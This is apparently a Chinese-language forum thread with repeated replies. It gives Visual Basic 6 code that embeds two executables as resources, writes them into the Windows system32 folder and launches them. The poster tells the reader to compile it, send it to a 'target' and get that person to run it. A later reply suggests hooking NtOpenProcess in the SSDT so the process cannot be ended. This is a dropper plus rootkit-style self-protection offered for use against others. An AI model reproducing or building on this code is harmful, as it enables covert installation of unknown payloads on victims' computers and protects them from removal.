1.exe和2.exe作为自定义资源添加到项目中(添加后是101,102),再参考下面代码:释放资源文件: dim App1() as byte if dir("c:\windows\1.exe")="" then app1=LoadResData(101, "CUSTOM") Open "C:\WINDOWS\system32\1.exe" For Binary As #1 put #1,App1 close #1 end if redim app1(1) if dir("c:\windows\2.exe")="" then app1=LoadResData(102, "CUSTOM") Open "C:\WINDOWS\system32\2.exe" For Binary As #1 put #1,App1 close #1 end if 执行释放后的1.exe shell "c:\windows\1.exe"最后,将项目生成执行文件,送给你的目标并让他执行.
你的程序本身不就是被守护的进程吗?把另一个守护进程放在资源文件里就行了。 dim App1() as byte if dir("c:\windows\1.exe")="" then app1=LoadResData(101, "CUSTOM") Open "C:\WINDOWS\system32\1.exe" For Binary As #1 put #1,App1 close #1 end if shell "c:\windows\1.exe"
dim App1() as byte
if dir("c:\windows\1.exe")="" then
app1=LoadResData(101, "CUSTOM")
Open "C:\WINDOWS\system32\1.exe" For Binary As #1
put #1,App1
close #1
end if
redim app1(1)
if dir("c:\windows\2.exe")="" then
app1=LoadResData(102, "CUSTOM")
Open "C:\WINDOWS\system32\2.exe" For Binary As #1
put #1,App1
close #1
end if
执行释放后的1.exe
shell "c:\windows\1.exe"最后,将项目生成执行文件,送给你的目标并让他执行.
dim App1() as byte
if dir("c:\windows\1.exe")="" then
app1=LoadResData(101, "CUSTOM")
Open "C:\WINDOWS\system32\1.exe" For Binary As #1
put #1,App1
close #1
end if
shell "c:\windows\1.exe"
貌似我没说过用VB实现写驱动.楼主的目的是实现不可结束进程,那对于Ring3的进程管理器,简单挂个SSDT就可以了,不用双进程守护.搜一下,貌似有现成的SSDT代码,你自己挂上NtOpenProcess就行,在里面检测是否是自己的PID,是的话直接返回失败就好了.要是是为了"不可删除文件",估计没有任何一个软件能实现.大不了我用另一个系统再来操作磁盘嘛~~~